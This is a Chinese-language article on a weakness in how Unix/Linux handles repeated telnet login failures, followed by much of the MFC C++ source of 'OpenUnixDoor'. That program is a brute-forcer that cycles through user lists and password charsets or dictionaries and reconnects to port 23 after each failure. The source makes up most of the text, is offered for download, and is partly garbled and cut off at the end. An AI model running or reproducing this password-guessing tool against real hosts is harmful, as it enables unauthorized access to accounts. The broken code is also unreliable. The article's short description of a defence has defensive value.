Unix/Linux对远程登录失败的处理，存在安全隐患
Unix/Linux操作系统对远程多次登录失败的处理是断开与对方的连接，在这种情况下，正在登录的客户端软件会因服务方的连接中断而中止。这一安全策略对付穷举密码攻击是很有效的，因为攻击者在服务方断开连接后重新进行连接的时间代价是很大的。
事实上，这一安全策略有一个很大的隐患-----它的策略实现要依靠客户端软件的合作，它要求客户端软件在服务方断开连接后退出或中止，以达到延时的目的。如果客户软件不合作，没有退出以完成延时，而是以最小的延时重新连接并登录服务方，那么服务方以延时为目的的安全策略将很难达到它的目的。这样，客户方就可以猜解服务方的用户密码了。
网络协议的服务/客户端都是一个有限状态机，客户的状态机可以抽象简化为图1，图1表示的意义是：客户状态机在网络建立连接后，由“开始”转入“用户认证”，如果认证失败则转到“结束”，如果认证成功则请求服务方向客户方提供各种服务。操作系统自带的网络客户程序（注意区别于网络客户）被有意设计成软件的运行状态随网络客户状态机的变化而变化，也就是当网络客户机转向结束时程序也结束。服务方正是通过控制客户状态机来控制客户程序的运行，进而实现它的安全策略。在使用WinNT/2000、Unix/Linux自带的Telnet客户程序或FTP客户程序登录Unix/Linux服务器时，上面所述的安全策略就起到了作用，它可以令客户程序自动退出。
如果现在不使用操作系统自带的网络客户软件，而是使用重新设计网络客户软件，这个网络客户的状态机如图2所示。
图2所示状态机表示的意义是：当客户状态机状态转到“结束”时，又自动转到“开始”，即状态机永远循环没有退出，同时客户软件的状态也独立于状态机状态，即状态机退出时客户软件不退出。根据图2所示状态机设计的网络客户软件可以使Unix/Linux对远程登录失败处理的安全策略失去作用。在10/100M以太局域网络中，按照上面思路设计的客户端软件可在120分钟内猜测完所有由数字组成的六字符密码。
下图是本文所述软件工作时的界面：
下面给出部分程序的源代码（用… …略去了VC++自动生成的代码）
点击这里下载源文件。
WinNT/2000处理多次登录失败的策略是锁定帐号，这一策略优于Unix/Linux的安全策略，但是存在另外的安全问题，本人已有文章具体论述。解决Unix/Linux这一安全隐患的办法是，网络服务软件记录多次登录失败的主机地址或主机名，在建立新的连接时不与记录的主机连接。
下面给出部分程序的源代码（用… …略去了VC++自动生成的代码）：
////////////////////
//
// OpenUnixDoorDlg.h : header file
//
////////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to:
northsouth@163.com */
#include //add for Cevent
//通信原语
const unsigned char IAC_IS = '0';
const unsigned char IAC_SEND = '1';
const unsigned char IAC_INFO = '2';
const unsigned char IAC_VAR = '0';
const unsigned char IAC_VALUE = '1';
const unsigned char IAC_ESC = '2';
const unsigned char IAC_USERVAR = '3';
const unsigned char IAC_SE = 240;
const unsigned char IAC_NOP = 241;
const unsigned char IAC_DataMark = 242;
const unsigned char IAC_BRK = 243;
const unsigned char IAC_IP = 244;
const unsigned char IAC_AO = 245;
const unsigned char IAC_AYT = 246;
const unsigned char IAC_EC = 247;
const unsigned char IAC_EL = 248;
const unsigned char IAC_GA = 249;
const unsigned char IAC_SB = 250;
const unsigned char IAC_WILL = 251;
const unsigned char IAC_WONT = 252;
const unsigned char IAC_DO = 253;
const unsigned char IAC_DONT = 254;
const unsigned char IAC_IAC = 255;
//
#define MAX_BUFFER 1024
#define MAX_LINELENGTH 100
#define SETPRATE " \t\n\r"
//
// COpenUnixDoorDlg dialog
class CClientSocket;
class COpenUnixDoorDlg : public CDialog
{
// Construction
public:
void InitDlg();
///////////////////////////for NVT
COpenUnixDoorDlg(CWnd* pParent = NULL);
// standard constructor
BOOL ReceiveData(CClientSocket *pClSt);
//Receive data for server
BOOL SendData(CString strSend);
//Send data to server
BOOL ProcessOption();
//Process option.
int ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess);
void ArrangeReply(CString strOption);
void RespondToOptions();
int Find(CString str, char ch);
void ReConnect();
//////////////////////////for logon
BOOL Logon(); //logon unix
BOOL GetUserInput();
BOOL GetPassChar(CString strSelect);
BOOL RepairSocket();
void CloseSocket();
void LockView();
/////////////////////////for NVT
unsigned char cBuffer[MAX_BUFFER]; //copy data from socket
CString strRecvData; //receive's data
CString strSendData; // for send
CString strDisplay; // for display
CStringList m_ListOptions; // for option
BOOL bNegotiating;
BOOL bOptionsSent;
CString m_strResp;
///////////////////////for password and user
CString strHostName; //host
CString strPassDir; //密码文件路径
CString strUserDir; //用户名文件路径
CString strPassCount; //密码字符数
int iAlreadyPassC;
CString strPassChar;
CString strUserName;
int iCheckUser; //IDC_CHECK_USER
BOOL bUserFinished; //TRUE:FINISHED,FAILED:NO FINISHED;
BOOL bPassFinished; //TRUE:FINISHED,FAILED:NO FINISHED;
BOOL bIsStop; //TRUE:YES;
///////////////////////for password and user
// Dialog Data
//{{AFX_DATA(COpenUnixDoorDlg)
enum { IDD = IDD_OPENUNIXDOOR_DIALOG };
CSpinButtonCtrl m_SpinPass;
CComboBox m_ComPass;
CButton m_CheckUser;
int m_iPassCount;
//}}AFX_DATA
//{{AFX_VIRTUAL(COpenUnixDoorDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
HICON m_hIcon;
CClientSocket *pSocket;
// Generated message map functions
//{{AFX_MSG(COpenUnixDoorDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnBtBegin();
afx_msg void OnBtExit();
afx_msg void OnBtUserdir();
afx_msg void OnCheckUser();
afx_msg void OnBtPassdir();
afx_msg void OnSelendokComboPass();
afx_msg void OnBtStop();
afx_msg void OnBtHelp();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg dialog
class CHelpDlg : public CDialog
{
// Construction
public:
CHelpDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CHelpDlg)
enum { IDD = IDD_DIALOG_HELP };
CEdit m_Edit_HelpCtr;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CHelpDlg)
public:
virtual int DoModal();
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CHelpDlg)
virtual BOOL OnInitDialog();
afx_msg void OnBtMypro();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
////////////////////
//
// OpenUnixDoorDlg.cpp
//
///////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to:
northsouth@163.com */
#include "stdafx.h"
#include "OpenUnixDoor.h"
#include "OpenUnixDoorDlg.h"
#include "ClientSocket.h"
//this for debug
#define DXPDEBUG 1 //调试设置
#if DXPDEBUG
FILE *fp=NULL; //调试输出文件
#endif
//定义同步及临界资源
CEvent gEventNextPass; //取下一个密码，为实现同步引进
CEvent gEventPassOk; //已取得密码，为实现同步引进
CEvent gEventNextUser; //取下一个用户名，为实现同步引进
CEvent gEventUserOk; //已取得用户名，为实现同步引进
CEvent gEventDisConncet;
CString strCurPass; //当前密码
CString strCurUser; //当前用户名
//定义线程
CWinThread *pUserThread = NULL, //枚举用户名线程
*pPassWordThread = NULL, //枚举用户密码线程
*pLogonThread = NULL; //登录线程
UINT UserThread(COpenUnixDoorDlg *pDlg);
UINT PassWordThread(COpenUnixDoorDlg *pDlg);
UINT PassWordThreadF(COpenUnixDoorDlg *pDlg);
UINT LogonThread(COpenUnixDoorDlg *pDlg);
/////////////////////////////////////////////////////////////////////////////
… …
/////////////////////////////////////////////////////////////////////////////
// COpenUnixDoorDlg dialog
COpenUnixDoorDlg::COpenUnixDoorDlg(CWnd* pParent /*=NULL*/)
: CDialog(COpenUnixDoorDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(COpenUnixDoorDlg)
m_iPassCount = 1;
//}}AFX_DATA_INIT
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void COpenUnixDoorDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(COpenUnixDoorDlg)
DDX_Control(pDX, IDC_SPIN_PASS, m_SpinPass);
DDX_Control(pDX, IDC_COMBO_PASS, m_ComPass);
DDX_Control(pDX, IDC_CHECK_USER, m_CheckUser);
DDX_Text(pDX, IDC_ET_PASSCOUNT, m_iPassCount);
DDV_MinMaxInt(pDX, m_iPassCount, 1, 12);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(COpenUnixDoorDlg, CDialog)
… …
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// COpenUnixDoorDlg message handlers
BOOL COpenUnixDoorDlg::OnInitDialog()
{
… …
InitDlg();
return TRUE; // return TRUE unless you set the focus to a control
}
void COpenUnixDoorDlg::InitDlg()
{
CString s1;
GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
s1.LoadString(IDS_PASS_ALLNUMBER); //所有数字字符；
m_ComPass.AddString(s1.operator LPCTSTR());//0
m_ComPass.SetCurSel(0);
s1.LoadString(IDS_PASS_ZIDINGYI); //自定义字符集；
m_ComPass.AddString(s1.operator LPCTSTR());//1
s1.LoadString(IDS_PASS_ZIDIAN); //字典；
m_ComPass.AddString(s1.operator LPCTSTR());//2
s1.LoadString(IDS_PASS_ALLENLOW); //所有小写英文字符；
m_ComPass.AddString(s1.operator LPCTSTR());//3
s1.LoadString(IDS_PASS_ALLENUP); //所有大写英文字符;
m_ComPass.AddString(s1.operator LPCTSTR());//4
s1.LoadString(IDS_PASS_NUMANDLOW); //数字和英文小写混合；
m_ComPass.AddString(s1.operator LPCTSTR());//5
s1.LoadString(IDS_PASS_NUMANDLOWUP); //数字和英文大小写混合
m_ComPass.AddString(s1.operator LPCTSTR());//6
s1.LoadString(IDS_PASS_ALL); //所有键盘可输入字符；
m_ComPass.AddString(s1.operator LPCTSTR());//7
m_SpinPass.SetBuddy(GetDlgItem(IDC_ET_PASSCOUNT));
m_SpinPass.SetRange(1,12);
iAlreadyPassC=0;
bIsStop=FALSE;
CTime t=CTime::GetCurrentTime();
s1=t.Format("%H:%M:%S");
SetDlgItemText(IDC_STC_BEGINTIME,s1);
pSocket=NULL;
#if DXPDEBUG
SetDlgItemText(IDC_ET_HOSTNAME,"192.168.42.63");
SetDlgItemText(IDC_ET_USERNAME,"ods");
SetDlgItemText(IDC_ET_PASSFLDIR,"dos");
SetDlgItemInt(IDC_ET_PASSCOUNT,3,FALSE);
#endif
}
void COpenUnixDoorDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
void COpenUnixDoorDlg::OnPaint()
{
… …
}
HCURSOR COpenUnixDoorDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void COpenUnixDoorDlg::OnBtBegin()
{
#if DXPDEBUG
fp=fopen("dxpdebug.txt","w");
fprintf(fp,"%s is ip addr.",strHostName.operator LPCTSTR());
#endif
CString s1,s2;
if( ! GetUserInput() )
return;
//建立用户名线程,枚举用户名线程
bUserFinished = TRUE ;
if( iCheckUser ){
pUserThread = AfxBeginThread((AFX_THREADPROC)UserThread,
(LPVOID)this, THREAD_PRIORITY_NORMAL);
if( pUserThread == NULL ){
s1.LoadString(IDS_THREADERRO);
s2.LoadString(IDS_MESSAGE_CAPTION);
MessageBox(s1,s2);
return ;
}
pUserThread->m_bAutoDelete = TRUE;
bUserFinished = FALSE;
}
//建立密码线程,枚举用户密码线程
bPassFinished=TRUE;
s1.LoadString(IDS_PASS_ZIDIAN);
m_ComPass.GetWindowText(s2);
if( s1 == s2){
pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThreadF,
(LPVOID)this, THREAD_PRIORITY_NORMAL);
}else{
GetPassChar( s2 );
pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThread,
(LPVOID)this, THREAD_PRIORITY_NORMAL);
}
if( pPassWordThread == NULL )
{
s1.LoadString(IDS_THREADERRO);
s2.LoadString(IDS_MESSAGE_CAPTION);
MessageBox(s1,s2);
return ;
}
pPassWordThread->m_bAutoDelete=FALSE;
bPassFinished=FALSE;
//建立登录线程
RepairSocket();
LockView();
//界面控制线程
}
BOOL COpenUnixDoorDlg::ReceiveData(CClientSocket *pClSt)
{
int iRecv,iProc;
iProc = 0;
iRecv = pClSt->Receive(cBuffer,MAX_BUFFER);
if(SOCKET_ERROR != iRecv)
{
ProcessLine(cBuffer,iRecv,iProc); //处理接收的数据
ProcessOption(); //处理接收数据中的协议数据
Logon(); //完成尝试登录
}
strRecvData.Empty();
strDisplay.Empty();
return 1;
}
BOOL COpenUnixDoorDlg::SendData(CString strSend)
{
//向服务器发送数据
pSocket->Send(strSend,strSend.GetLength());
return 1;
}
BOOL COpenUnixDoorDlg::ProcessOption()
{
//处理协议数据
CString m_strTemp;
CString m_strOption;
unsigned char ch;
int ndx;
int ldx;
BOOL bScanDone = FALSE;
m_strTemp = strRecvData;
while( !m_strTemp.IsEmpty() && bScanDone != TRUE)
{
ndx = m_strTemp.Find(IAC_IAC);
if(ndx != -1)
{
strDisplay += m_strTemp.Left( ndx );
ch = m_strTemp.GetAt( ndx + 1 );
//////////////////////////////////////////////
#if DXPDEBUG
switch(ch)
{
case IAC_NOP:
fprintf(fp, "got a DataMark\r\n");
break;
case IAC_DataMark:
fprintf(fp, "got a DataMark\r\n");
break;
case IAC_BRK:
fprintf(fp, "got a BRK\r\n");
break;
case IAC_IP:
fprintf(fp, "got a IP\r\n");
break;
case IAC_AO:
fprintf(fp, "got a AO\r\n");
break;
case IAC_AYT:
fprintf(fp, "got a AYT\r\n");
break;
case IAC_EC:
fprintf(fp, "got a EC\r\n");
break;
case IAC_EL:
fprintf(fp, "got a EL\r\n");
break;
case IAC_GA:
fprintf(fp, "got a GA\r\n");
break;
case IAC_SB:
fprintf(fp, "got a IAC_SB\r\n");
break;
case IAC_IAC:
fprintf(fp, "got a IAC\r\n");
break;
default:
fprintf(fp, "%s got unknown command (%d)\r\n",strDisplay.operator LPCTSTR ());
}
#endif
//////////////////////////////////////////////////////////////////
switch(ch)
{
case IAC_DO:
case IAC_DONT:
case IAC_WILL:
case IAC_WONT:
m_strOption = m_strTemp.Mid(ndx, 3);
#if DXPDEBUG
fprintf(fp, "WONT:%s\r\n",m_strOption.operator LPCTSTR ());
#endif
m_strTemp = m_strTemp.Mid(ndx + 3);
strDisplay= m_strTemp.Left(ndx);
m_ListOptions.AddTail(m_strOption);
break;
case IAC_IAC:
strDisplay = m_strTemp.Left(ndx);
m_strTemp = m_strTemp.Mid(ndx + 1);
#if DXPDEBUG
fprintf(fp, "IAC: Option\r\n",m_strTemp.operator LPCTSTR ());
#endif
break;
case IAC_SB:
strDisplay = m_strTemp.Left(ndx);
ldx = Find(m_strTemp, IAC_SE);
m_strOption = m_strTemp.Mid(ndx, ldx);
#if DXPDEBUG
fprintf(fp, "SB:%s\r\n",m_strOption.operator LPCTSTR ());
#endif
m_ListOptions.AddTail(m_strOption);
m_strTemp = m_strTemp.Mid(ldx);
// AfxMessageBox(m_strOption,MB_OK);
break;
default:
bScanDone = TRUE;
}
}
else
{
strDisplay = m_strTemp;
#if DXPDEBUG
fprintf(fp, "normaltext:%s\r\n",m_strTemp.operator LPCTSTR ());
#endif
// AfxMessageBox(m_strNormalText,MB_OK);
bScanDone = TRUE;
}
}
RespondToOptions();
return 1;
}
int COpenUnixDoorDlg::ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess)
{
BOOL bLine = FALSE;
unsigned char ch;
while ( bLine == FALSE && iProcess < iRecv )
{
ch= cBuffer[iProcess];
//Window
switch( ch )
{
case '\r': // ignore
strRecvData += "\r\n"; //"CR";
break;
case '\n': // end-of-line
break;
default: // other....
strRecvData += ch;
break;
}
iProcess ++;
if (iProcess == iRecv)
{
bLine = TRUE;
}
}
return bLine;
}
void COpenUnixDoorDlg::RespondToOptions()
{
CString strOption;
while(!m_ListOptions.IsEmpty())
{
strOption = m_ListOptions.RemoveHead();
ArrangeReply(strOption);
}
SendData(strSendData);
m_strResp.Empty();
}
void COpenUnixDoorDlg::ArrangeReply(CString strOption)
{
unsigned char Verb;
unsigned char Option;
unsigned char Modifier;
unsigned char ch;
BOOL bDefined = FALSE;
if(strOption.GetLength() < 3) return;
Verb = strOption.GetAt(1);
Option = strOption.GetAt(2);
switch(Option)
{
case 1: // Echo
case 3: // Suppress Go-Ahead
bDefined = TRUE;
break;
}
m_strResp += IAC_IAC;
if(bDefined == TRUE)
{
switch(Verb)
{
case IAC_DO:
ch = IAC_WILL;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
case IAC_DONT:
ch = IAC_WONT;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
case IAC_WILL:
ch = IAC_DO;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
case IAC_WONT:
ch = IAC_DONT;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
case IAC_SB:
Modifier = strOption.GetAt(3);
if(Modifier == IAC_SEND)
{
ch = IAC_SB;
m_strResp += ch;
m_strResp += Option;
m_strResp += IAC_IS;
m_strResp += IAC_IAC;
m_strResp += IAC_SE;
}
#if DXPDEBUG
fprintf(fp, "SB: ch:%d Option:%d \r\n",ch,Option);
#endif
break;
}
}
else
{
switch(Verb)
{
case IAC_DO:
ch = IAC_WONT;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
case IAC_DONT:
ch = IAC_WONT;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
case IAC_WILL:
ch = IAC_DONT;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
case IAC_WONT:
ch = IAC_DONT;
m_strResp += ch;
m_strResp += Option;
#if DXPDEBUG
fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);
#endif
break;
}
}
}
int COpenUnixDoorDlg::Find(CString str, char ch)
{
char* data = str.GetBuffer(0);
int len = str.GetLength();
int i = 0;
for(i = 0; i < len; i++){
if(data == ch)
break;
}
str.ReleaseBuffer();
return i;
}
void COpenUnixDoorDlg::OnBtExit()
{
#if DXPDEBUG
if(fp!=NULL)fclose(fp);
#endif
//删除所有线程
… …
if(pSocket != NULL)
delete pSocket;
pSocket = NULL;
CDialog::OnOK();
}
UINT UserThread(COpenUnixDoorDlg *pDlg)
{
FILE *fUser;
char cUser[MAX_LINELENGTH];
char *token;
CString s1,s2;
CString strDir = pDlg->strUserDir;
strDir.Replace("\\","\\\\");
//strDir保存用户名的路径及文件名
if( NULL == (fUser = fopen(strDir.operator LPCTSTR(),"r+")))
{
s1.LoadString(IDS_OPENFILEERRO);
s2.LoadString(IDS_MESSAGE_CAPTION);
strDir.Format(s1,strDir.operator LPCTSTR());
MessageBox(GetActiveWindow(),strDir,s2,0);
if(fUser != NULL)
fclose(fUser);
pDlg->bUserFinished = TRUE;
return 0;
}
while( ! feof( fUser ) )
{
if( NULL == fgets( cUser,MAX_LINELENGTH,fUser ))
{
fclose( fUser );
pDlg->bUserFinished = TRUE;
return 0;
}
token = strtok( cUser,SETPRATE );// #define SETPRATE " \t\n\r"
do
{
WaitForSingleObject(gEventNextUser,INFINITE);
// 等待“新用户名”事件
gEventNextUser.ResetEvent(); //复位。
strCurUser = token; //改变当前用户名。
gEventUserOk.SetEvent(); //发送“用户名完成”事件
}while((token = strtok(NULL,SETPRATE)) != NULL);
}//while end
pDlg->bUserFinished = TRUE;
gEventUserOk.SetEvent();
return 0;
}
UINT PassWordThread(COpenUnixDoorDlg *pDlg)
{
/*
**
**
** strPass-> │ a │ b │ c │ d │
** \/ │
** /\ │
** iPPos │ 1 │ 0 │ 2 │
**
** 例如：str="abcd",iCount=3,当iPPos=102 时表示字串"bac"
**
*/
int j;
int iCount=pDlg->m_iPassCount;
int k=iCount-1;
CString strPass=pDlg->strPassChar;
int iPCount=strPass.GetLength() ;
CString strTemp;
int iPPos[MAX_LINELENGTH];
for(j = 0;( j iPPos[j] = 0;
do{
while( iPPos[0] < iPCount )
{
while( iPPos[k] < iPCount ){
strTemp.Empty();
for(j = 0;j < iCount; j++ ){
strTemp.Insert(j,strPass.GetAt(iPPos[j]));
}
WaitForSingleObject(gEventNextPass,INFINITE);
// 等待“新密码”事件
gEventNextPass.ResetEvent(); //复位。
strCurPass=strTemp; //改变当前密码。
gEventPassOk.SetEvent(); //送密码完成事件
#if DXPDEBUG
fprintf(fp, "%s\r\n",strCurPass.operator LPCTSTR ());
#endif
iPPos[k]++;
}
iPPos[k] = 0; //末位清零
for(j = iCount-2;j >= 0;j--)
{
if(( iPPos[j]+=1 )==iPCount && j != 0 )
iPPos[j] = 0;
else break;
//完成iCount进制加法运算
}
}//while
if(!pDlg->bUserFinished){
gEventNextUser.SetEvent(); //发送“新用户名”事件
WaitForSingleObject(gEventUserOk,INFINITE); //等待“用户名完成”事件
gEventUserOk.ResetEvent(); //复位。
}
}while(!pDlg->bUserFinished);
pDlg->bPassFinished=TRUE;
gEventPassOk.SetEvent();
return 0;
}
UINT PassWordThreadF(COpenUnixDoorDlg *pDlg)
{
FILE *fPass;
char cPass[MAX_LINELENGTH];
char *token;
CString s1,s2;
CString strFile=pDlg->strPassDir;
strFile.Replace("\\","\\\\");
//strFile保存密码文件的路径及文件名
if(NULL == ( fPass = fopen(strFile.operator LPCTSTR(),"r+")) )
{
s1.LoadString(IDS_OPENFILEERRO);
s2.LoadString(IDS_MESSAGE_CAPTION);
strFile.Format(s1,strFile.operator LPCTSTR());
MessageBox(GetActiveWindow(),strFile,s2,0);
if( fPass != NULL )
fclose( fPass );
pDlg->bPassFinished=TRUE;
return 0;
}
do{
while(!feof(fPass))
{
if(NULL==fgets(cPass,MAX_LINELENGTH,fPass))
{
fclose(fPass);
break;
}
token=strtok(cPass,SETPRATE);// #define SETPRATE " \t\n\r"
do
{
WaitForSingleObject(gEventNextPass,INFINITE);
// 等待“新用户密码”事件
gEventNextPass.ResetEvent(); //复位。
strCurPass=token; //改变当前用户密码。
gEventPassOk.SetEvent(); //发送“用户密码完成”事件
}while((token=strtok(NULL,SETPRATE))!=NULL);
}//while
if(!pDlg->bUserFinished){
gEventNextUser.SetEvent(); //发送“新用户名”事件
WaitForSingleObject(gEventUserOk,INFINITE); //等待“用户名完成”事件
gEventUserOk.ResetEvent(); //复位。
}
}while(!pDlg->bUserFinished);
pDlg->bPassFinished=TRUE;
gEventPassOk.SetEvent();
return 0;
}
UINT LogonThread(COpenUnixDoorDlg *pDlg)
{
pDlg->ReConnect();
return 0;
}
void COpenUnixDoorDlg::ReConnect()
{
BOOL bOK;
if(pSocket != NULL)delete pSocket;
pSocket=new CClientSocket(this) ;
if( pSocket != NULL){
bOK=pSocket->Create();
if(bOK == TRUE){
bOK = pSocket->AsyncSelect(FD_READ │ FD_WRITE│ FD_CLOSE │ FD_CONNECT │ FD_OOB);
bOK = pSocket->Connect(strHostName,23);
}else{
delete pSocket;
}
}else{
AfxMessageBox("Could not create new socket",MB_OK);
}
}
BOOL COpenUnixDoorDlg::GetUserInput()
{
CString s1;
CString s2;
s2.LoadString(IDS_MESSAGE_CAPTION);
//check hostname
GetDlgItemText(IDC_ET_HOSTNAME,strHostName);
if(strHostName.IsEmpty()){
s1.LoadString(IDS_MESSAGE1);
MessageBox(s1,s2);
return FALSE;
}
//check user name or user dir
if(m_CheckUser.GetCheck()){
GetDlgItemText(IDC_ET_USERDIR,strUserDir);
if(strUserDir.IsEmpty()){
s1.LoadString(IDS_MESSAGE2);
MessageBox(s1,s2);
return FALSE;
}
}else{
GetDlgItemText(IDC_ET_USERNAME,strCurUser);
if(strCurUser.IsEmpty()){
s1.LoadString(IDS_MESSAGE2);
MessageBox(s1,s2);
return FALSE;
}
}
iCheckUser=m_CheckUser.GetCheck();
//
m_iPassCount = GetDlgItemInt(IDC_ET_PASSCOUNT);
//check password
GetDlgItemText(IDC_ET_PASSFLDIR,strPassDir);
return TRUE;
}
void COpenUnixDoorDlg::OnBtUserdir()
{
CFileDialog m_dlg(IDS_INPUTDIR);
if( m_dlg.DoModal() ){
CString str = m_dlg.GetPathName();
SetDlgItemText(IDC_ET_USERDIR,str.operator LPCTSTR());
}
}
void COpenUnixDoorDlg::OnCheckUser()
{
if(m_CheckUser.GetCheck())
{
GetDlgItem(IDC_ET_USERDIR)->EnableWindow(TRUE);
GetDlgItem(IDC_BT_USERDIR)->EnableWindow(TRUE);
GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);
}else{
GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_ET_USERNAME)->EnableWindow(TRUE);
}
}
void COpenUnixDoorDlg::OnBtPassdir()
{
CFileDialog m_dlg(IDS_INPUTDIR);
if( m_dlg.DoModal() ){
CString str=m_dlg.GetPathName();
SetDlgItemText(IDC_ET_PASSFLDIR,str.operator LPCTSTR());
}
}
void COpenUnixDoorDlg::OnSelendokComboPass()
{
CString s1,s2,s3;
s1.LoadString(IDS_PASS_ZIDIAN);
s2.LoadString(IDS_PASS_ZIDINGYI);
m_ComPass.GetWindowText(s3);
if(s1==s3 ││ s2==s3){
GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(TRUE);
if(s2 == s3){
GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
}else{
GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(TRUE);
}
}else{
GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
}
}
BOOL COpenUnixDoorDlg::GetPassChar(CString strSelect)
{
CString s1;
s1.LoadString(IDS_PASS_ZIDINGYI);
if(strSelect == s1){
GetDlgItemText(IDC_ET_PASSFLDIR,strPassChar) ;return TRUE;
}
s1.LoadString(IDS_PASS_ALLNUMBER);
if(strSelect==s1){
strPassChar="0123456789";return TRUE;
}
s1.LoadString(IDS_PASS_ALLENLOW);
if(strSelect==s1){
strPassChar="abcdefghigklmnopqrstuvwxyz"; return TRUE;
}
s1.LoadString(IDS_PASS_ALLENUP);
if(strSelect==s1){
strPassChar="ABCDEFGHIGKLMNOPQRSTUVWXYZ"; return TRUE;
}
s1.LoadString(IDS_PASS_NUMANDLOW);
if(strSelect == s1){
strPassChar = "0123456789abcdefghigklmnopqrstuvwxyz"; return TRUE;
}
s1.LoadString(IDS_PASS_NUMANDLOWUP);
if(strSelect == s1){
strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
return TRUE;
}
s1.LoadString(IDS_PASS_ALL);
if(strSelect == s1){
strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ`~!@#$%^&*()-=\\_+│[]{};':\",./<>?";
return TRUE;
}
return FALSE;
}
BOOL COpenUnixDoorDlg::RepairSocket()
{
BOOL bOK;
pSocket = new CClientSocket(this) ;
if(pSocket != NULL){
bOK = pSocket->Create();
if(bOK == TRUE){
pSocket->AsyncSelect(FD_READ │ FD_WRITE│ FD_CLOSE │ FD_CONNECT │ FD_OOB);
pSocket->Connect(strHostName,23);
}else{
delete pSocket;
}
}else{
AfxMessageBox("Could not create new socket",MB_OK);
}
return TRUE;
}
void COpenUnixDoorDlg::CloseSocket()
{
//gEventDisConncet.SetEvent();
CString strTemp;
strTemp.LoadString(IDS_YOUAREFAILED);
AfxMessageBox(strTemp);
}
void COpenUnixDoorDlg::OnBtStop()
{
static int i=0;
CString str;
if(i == 0)
{
//MUST STOP SOKET
bIsStop=TRUE;
pSocket->OnClose(0);
if(pUserThread != NULL)
pUserThread->SuspendThread(); //枚举用户名线程
if(pPassWordThread != NULL)
pPassWordThread->SuspendThread(); //枚举用户密码线程
//if(pLogonThread!=NULL)pLogonThread->SuspendThread(); //登录线程
str.LoadString(IDS_REBEGIN);
SetDlgItemText(IDC_BT_STOP,str);
i=1;
}else{
bIsStop = FALSE;
gEventDisConncet.SetEvent();
if(pUserThread != NULL)
pUserThread->ResumeThread();
if(pPassWordThread != NULL)
pPassWordThread->ResumeThread();
//if(pLogonThread!=NULL)pLogonThread->ResumeThread();
str.LoadString(IDS_STOP);
SetDlgItemText(IDC_BT_STOP,str);
i = 0;
}
}
void CAboutDlg::OnOK()
{
CDialog::OnOK();
}
void COpenUnixDoorDlg::OnBtHelp()
{
CHelpDlg dlg;
dlg.DoModal();
}
void COpenUnixDoorDlg:
ockView()
{
GetDlgItem(IDC_ET_HOSTNAME)->EnableWindow(FALSE);
GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);
GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
